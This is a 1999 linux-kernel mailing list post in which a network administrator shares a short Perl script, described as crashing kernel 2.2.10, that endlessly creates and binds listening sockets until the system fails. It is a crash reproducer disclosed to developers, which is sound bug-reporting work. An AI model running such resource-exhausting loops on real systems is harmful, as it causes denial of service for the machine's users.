Messages in this thread | | | Date | Fri, 18 Jun 1999 16:24:10 -0500 (CDT) | From | Brian <> | Subject | simpler crash-o-matic |
| |
A simpler crash-o-matic, that will crash 2.2.10:
#!/usr/bin/perl
use Socket;
while (1) { my $port = shift || 2345; socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die "socket: $!"; setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!"; bind(Server, sockaddr_in($port, INADDR_ANY)) or die "bind: $!"; listen(Server, SOMAXCONN) or die "listen: $!"; }
----------------------------------------------------- Brian Feeny (BF304) signal@shreve.net 318-222-2638 x 109 http://www.shreve.net/~signal Network Administrator ShreveNet Inc. (ASN 11881)
- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/
| |